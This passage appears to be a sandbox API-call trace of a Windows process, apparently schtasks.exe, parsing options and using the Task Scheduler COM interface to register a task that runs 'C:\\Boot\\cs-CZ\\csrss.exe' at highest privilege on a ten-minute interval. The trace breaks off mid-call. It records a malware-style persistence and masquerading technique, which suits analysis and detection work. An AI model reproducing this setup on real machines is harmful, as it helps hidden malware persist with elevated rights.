_memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.317] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|rp|") returned 4 [0069.317] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|f|") returned 3 [0069.317] lstrlenW (lpString="|rp|") returned 4 [0069.317] lstrlenW (lpString="|f|") returned 3 [0069.317] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0069.317] SetLastError (dwErrCode=0x490) [0069.317] lstrlenW (lpString="sc") returned 2 [0069.317] lstrlenW (lpString="sc") returned 2 [0069.317] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.317] lstrlenW (lpString="f") returned 1 [0069.317] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.317] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|sc|") returned 4 [0069.317] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|f|") returned 3 [0069.318] lstrlenW (lpString="|sc|") returned 4 [0069.318] lstrlenW (lpString="|f|") returned 3 [0069.318] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0069.318] SetLastError (dwErrCode=0x490) [0069.318] lstrlenW (lpString="mo") returned 2 [0069.318] lstrlenW (lpString="mo") returned 2 [0069.318] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.318] lstrlenW (lpString="f") returned 1 [0069.318] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.318] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|mo|") returned 4 [0069.318] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|f|") returned 3 [0069.318] lstrlenW (lpString="|mo|") returned 4 [0069.318] lstrlenW (lpString="|f|") returned 3 [0069.318] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0069.318] SetLastError (dwErrCode=0x490) [0069.318] lstrlenW (lpString="d") returned 1 [0069.318] lstrlenW (lpString="d") returned 1 [0069.318] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.318] lstrlenW (lpString="f") returned 1 [0069.318] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.318] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|d|") returned 3 [0069.318] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|f|") returned 3 [0069.318] lstrlenW (lpString="|d|") returned 3 [0069.318] lstrlenW (lpString="|f|") returned 3 [0069.318] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0069.326] SetLastError (dwErrCode=0x490) [0069.326] lstrlenW (lpString="m") returned 1 [0069.326] lstrlenW (lpString="m") returned 1 [0069.326] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.326] lstrlenW (lpString="f") returned 1 [0069.326] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.327] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|m|") returned 3 [0069.327] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|f|") returned 3 [0069.327] lstrlenW (lpString="|m|") returned 3 [0069.327] lstrlenW (lpString="|f|") returned 3 [0069.327] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0069.327] SetLastError (dwErrCode=0x490) [0069.327] lstrlenW (lpString="i") returned 1 [0069.327] lstrlenW (lpString="i") returned 1 [0069.327] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.327] lstrlenW (lpString="f") returned 1 [0069.327] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.327] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|i|") returned 3 [0069.327] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|f|") returned 3 [0069.327] lstrlenW (lpString="|i|") returned 3 [0069.327] lstrlenW (lpString="|f|") returned 3 [0069.327] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0069.327] SetLastError (dwErrCode=0x490) [0069.327] lstrlenW (lpString="tn") returned 2 [0069.327] lstrlenW (lpString="tn") returned 2 [0069.327] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.327] lstrlenW (lpString="f") returned 1 [0069.327] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.327] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|tn|") returned 4 [0069.327] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|f|") returned 3 [0069.327] lstrlenW (lpString="|tn|") returned 4 [0069.328] lstrlenW (lpString="|f|") returned 3 [0069.328] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0069.328] SetLastError (dwErrCode=0x490) [0069.328] lstrlenW (lpString="tr") returned 2 [0069.328] lstrlenW (lpString="tr") returned 2 [0069.328] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.328] lstrlenW (lpString="f") returned 1 [0069.328] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.328] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|tr|") returned 4 [0069.328] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|f|") returned 3 [0069.328] lstrlenW (lpString="|tr|") returned 4 [0069.328] lstrlenW (lpString="|f|") returned 3 [0069.328] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0069.328] SetLastError (dwErrCode=0x490) [0069.328] lstrlenW (lpString="st") returned 2 [0069.328] lstrlenW (lpString="st") returned 2 [0069.328] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.328] lstrlenW (lpString="f") returned 1 [0069.328] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.328] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|st|") returned 4 [0069.328] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|f|") returned 3 [0069.328] lstrlenW (lpString="|st|") returned 4 [0069.328] lstrlenW (lpString="|f|") returned 3 [0069.328] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0069.329] SetLastError (dwErrCode=0x490) [0069.329] lstrlenW (lpString="sd") returned 2 [0069.329] lstrlenW (lpString="sd") returned 2 [0069.329] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.329] lstrlenW (lpString="f") returned 1 [0069.329] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.329] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|sd|") returned 4 [0069.329] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|f|") returned 3 [0069.329] lstrlenW (lpString="|sd|") returned 4 [0069.329] lstrlenW (lpString="|f|") returned 3 [0069.329] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0069.329] SetLastError (dwErrCode=0x490) [0069.329] lstrlenW (lpString="ed") returned 2 [0069.329] lstrlenW (lpString="ed") returned 2 [0069.329] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.329] lstrlenW (lpString="f") returned 1 [0069.329] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.329] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|ed|") returned 4 [0069.329] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|f|") returned 3 [0069.329] lstrlenW (lpString="|ed|") returned 4 [0069.329] lstrlenW (lpString="|f|") returned 3 [0069.329] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0069.329] SetLastError (dwErrCode=0x490) [0069.329] lstrlenW (lpString="it") returned 2 [0069.330] lstrlenW (lpString="it") returned 2 [0069.330] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.330] lstrlenW (lpString="f") returned 1 [0069.330] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.330] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|it|") returned 4 [0069.330] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|f|") returned 3 [0069.330] lstrlenW (lpString="|it|") returned 4 [0069.330] lstrlenW (lpString="|f|") returned 3 [0069.330] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0069.330] SetLastError (dwErrCode=0x490) [0069.330] lstrlenW (lpString="et") returned 2 [0069.330] lstrlenW (lpString="et") returned 2 [0069.330] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.330] lstrlenW (lpString="f") returned 1 [0069.330] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.330] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|et|") returned 4 [0069.330] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|f|") returned 3 [0069.330] lstrlenW (lpString="|et|") returned 4 [0069.330] lstrlenW (lpString="|f|") returned 3 [0069.330] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0069.330] SetLastError (dwErrCode=0x490) [0069.330] lstrlenW (lpString="k") returned 1 [0069.330] lstrlenW (lpString="k") returned 1 [0069.330] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.331] lstrlenW (lpString="f") returned 1 [0069.331] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.331] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|k|") returned 3 [0069.331] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|f|") returned 3 [0069.331] lstrlenW (lpString="|k|") returned 3 [0069.331] lstrlenW (lpString="|f|") returned 3 [0069.331] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0069.331] SetLastError (dwErrCode=0x490) [0069.331] lstrlenW (lpString="du") returned 2 [0069.331] lstrlenW (lpString="du") returned 2 [0069.331] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.331] lstrlenW (lpString="f") returned 1 [0069.331] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.331] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|du|") returned 4 [0069.331] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|f|") returned 3 [0069.331] lstrlenW (lpString="|du|") returned 4 [0069.331] lstrlenW (lpString="|f|") returned 3 [0069.331] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0069.331] SetLastError (dwErrCode=0x490) [0069.331] lstrlenW (lpString="ri") returned 2 [0069.331] lstrlenW (lpString="ri") returned 2 [0069.331] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.331] lstrlenW (lpString="f") returned 1 [0069.331] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.332] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|ri|") returned 4 [0069.332] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|f|") returned 3 [0069.332] lstrlenW (lpString="|ri|") returned 4 [0069.332] lstrlenW (lpString="|f|") returned 3 [0069.332] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0069.332] SetLastError (dwErrCode=0x490) [0069.332] lstrlenW (lpString="z") returned 1 [0069.332] lstrlenW (lpString="z") returned 1 [0069.332] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.332] lstrlenW (lpString="f") returned 1 [0069.332] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.332] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|z|") returned 3 [0069.332] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|f|") returned 3 [0069.332] lstrlenW (lpString="|z|") returned 3 [0069.332] lstrlenW (lpString="|f|") returned 3 [0069.332] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0069.332] SetLastError (dwErrCode=0x490) [0069.332] lstrlenW (lpString="f") returned 1 [0069.332] lstrlenW (lpString="f") returned 1 [0069.332] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.332] lstrlenW (lpString="f") returned 1 [0069.332] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.332] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|f|") returned 3 [0069.332] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|f|") returned 3 [0069.333] lstrlenW (lpString="|f|") returned 3 [0069.333] lstrlenW (lpString="|f|") returned 3 [0069.333] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0069.333] SetLastError (dwErrCode=0x0) [0069.333] SetLastError (dwErrCode=0x0) [0069.333] GetProcessHeap () returned 0x130000 [0069.333] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x14ce90 [0069.333] _memicmp (_Buf1=0x14bbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.333] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x14d3c0, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0069.333] lstrlenW (lpString="LIMITED") returned 7 [0069.333] GetProcessHeap () returned 0x130000 [0069.333] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x10) returned 0x14d680 [0069.333] GetThreadLocale () returned 0x409 [0069.333] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0069.333] GetProcessHeap () returned 0x130000 [0069.333] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x14ce60 [0069.333] _memicmp (_Buf1=0x14bbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.333] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x14d3c0, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0069.333] lstrlenW (lpString="HIGHEST") returned 7 [0069.333] GetProcessHeap () returned 0x130000 [0069.333] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x10) returned 0x14d6a0 [0069.333] GetThreadLocale () returned 0x409 [0069.333] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0069.334] GetProcessHeap () returned 0x130000 [0069.334] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x14ce30 [0069.334] _memicmp (_Buf1=0x14bbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.334] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x14d3c0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0069.334] lstrlenW (lpString="MINUTE") returned 6 [0069.334] GetProcessHeap () returned 0x130000 [0069.334] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0xe) returned 0x14d6c0 [0069.334] GetThreadLocale () returned 0x409 [0069.334] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0069.334] SetLastError (dwErrCode=0x0) [0069.334] GetProcessHeap () returned 0x130000 [0069.334] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x1fc) returned 0x14c470 [0069.334] GetProcessHeap () returned 0x130000 [0069.334] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x14ce00 [0069.334] _memicmp (_Buf1=0x14bbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.335] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x14d3c0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0069.335] lstrlenW (lpString="First") returned 5 [0069.335] GetProcessHeap () returned 0x130000 [0069.335] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0xc) returned 0x14d6e0 [0069.335] GetProcessHeap () returned 0x130000 [0069.335] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x14cdd0 [0069.335] _memicmp (_Buf1=0x14bbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.335] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x14d3c0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0069.335] lstrlenW (lpString="Second") returned 6 [0069.335] GetProcessHeap () returned 0x130000 [0069.335] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0xe) returned 0x14d700 [0069.335] GetProcessHeap () returned 0x130000 [0069.335] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x14cda0 [0069.335] _memicmp (_Buf1=0x14bbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.335] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x14d3c0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0069.335] lstrlenW (lpString="Third") returned 5 [0069.335] GetProcessHeap () returned 0x130000 [0069.335] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0xc) returned 0x14d720 [0069.335] GetProcessHeap () returned 0x130000 [0069.335] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x14cd70 [0069.335] _memicmp (_Buf1=0x14bbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.335] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x14d3c0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0069.335] lstrlenW (lpString="Fourth") returned 6 [0069.335] GetProcessHeap () returned 0x130000 [0069.335] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0xe) returned 0x14d740 [0069.335] _memicmp (_Buf1=0x14bbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.336] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x14d3c0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0069.336] lstrlenW (lpString="Last") returned 4 [0069.336] GetProcessHeap () returned 0x130000 [0069.336] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0xa) returned 0x14d760 [0069.336] lstrlenW (lpString="10") returned 2 [0069.336] _wtol (_String="10") returned 10 [0069.336] _memicmp (_Buf1=0x14bbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.336] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x14d3c0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0069.336] lstrlenW (lpString="First") returned 5 [0069.336] _memicmp (_Buf1=0x14bbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.336] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x14d3c0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0069.336] lstrlenW (lpString="Second") returned 6 [0069.336] _memicmp (_Buf1=0x14bbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.336] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x14d3c0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0069.336] lstrlenW (lpString="Third") returned 5 [0069.336] _memicmp (_Buf1=0x14bbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.336] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x14d3c0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0069.336] lstrlenW (lpString="Fourth") returned 6 [0069.336] _memicmp (_Buf1=0x14bbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.336] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x14d3c0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0069.336] lstrlenW (lpString="Last") returned 4 [0069.337] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xdc520, cchData=128 | out: lpLCData="0") returned 2 [0069.337] _memicmp (_Buf1=0x14bbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.337] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x14d3c0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0069.337] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0069.337] GetProcessHeap () returned 0x130000 [0069.337] GetProcessHeap () returned 0x130000 [0069.337] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14d6e0) returned 1 [0069.337] GetProcessHeap () returned 0x130000 [0069.337] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14d6e0) returned 0xc [0069.337] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14d6e0 | out: hHeap=0x130000) returned 1 [0069.337] GetProcessHeap () returned 0x130000 [0069.337] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x16) returned 0x14d6e0 [0069.337] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xdc540, cchData=128 | out: lpLCData="0") returned 2 [0069.337] _memicmp (_Buf1=0x14bbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.337] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x14d3c0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0069.337] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0069.337] GetProcessHeap () returned 0x130000 [0069.337] GetProcessHeap () returned 0x130000 [0069.337] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14d700) returned 1 [0069.337] GetProcessHeap () returned 0x130000 [0069.337] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14d700) returned 0xe [0069.337] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14d700 | out: hHeap=0x130000) returned 1 [0069.337] GetProcessHeap () returned 0x130000 [0069.338] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x16) returned 0x14d700 [0069.338] GetLocalTime (in: lpSystemTime=0xdc770 | out: lpSystemTime=0xdc770*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x35, wMilliseconds=0x2bf)) [0069.338] lstrlenW (lpString="") returned 0 [0069.338] GetLocalTime (in: lpSystemTime=0xdd028 | out: lpSystemTime=0xdd028*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x35, wMilliseconds=0x2bf)) [0069.338] lstrlenW (lpString="") returned 0 [0069.338] lstrlenW (lpString="") returned 0 [0069.338] lstrlenW (lpString="") returned 0 [0069.338] lstrlenW (lpString="") returned 0 [0069.338] lstrlenW (lpString="10") returned 2 [0069.338] _wtol (_String="10") returned 10 [0069.338] lstrlenW (lpString="") returned 0 [0069.338] lstrlenW (lpString="") returned 0 [0069.338] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0069.420] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0069.530] CoCreateInstance (in: rclsid=0xff3d1ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff3d1ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0xdcdf0 | out: ppv=0xdcdf0*=0x2f7b60) returned 0x0 [0069.542] TaskScheduler:ITaskService:Connect (This=0x2f7b60, serverName=0xdced0*(varType=0x8, wReserved1=0xd, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0xdce90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0xdceb0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xdce70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0069.553] TaskScheduler:IUnknown:AddRef (This=0x2f7b60) returned 0x2 [0069.553] TaskScheduler:ITaskService:GetFolder (in: This=0x2f7b60, Path=0x0, ppFolder=0xdcf88 | out: ppFolder=0xdcf88*=0x2f7d20) returned 0x0 [0069.559] TaskScheduler:ITaskService:NewTask (in: This=0x2f7b60, flags=0x0, ppDefinition=0xdcf80 | out: ppDefinition=0xdcf80*=0x2f7d70) returned 0x0 [0069.559] ITaskDefinition:get_Actions (in: This=0x2f7d70, ppActions=0xdcf00 | out: ppActions=0xdcf00*=0x2f7e30) returned 0x0 [0069.560] IActionCollection:Create (in: This=0x2f7e30, Type=0, ppAction=0xdcf20 | out: ppAction=0xdcf20*=0x2f61b0) returned 0x0 [0069.560] lstrlenW (lpString="'C:\\Boot\\cs-CZ\\csrss.exe'") returned 25 [0069.560] lstrlenW (lpString="'C:\\Boot\\cs-CZ\\csrss.exe'") returned 25 [0069.560] lstrlenW (lpString=" ") returned 1 [0069.560] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0069.560] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0069.560] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0069.560] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0069.560] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0069.560] StrChrW (lpStart=" ", wMatch=0x42) returned 0x0 [0069.560] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0069.560] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0069.560] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0069.560] StrChrW 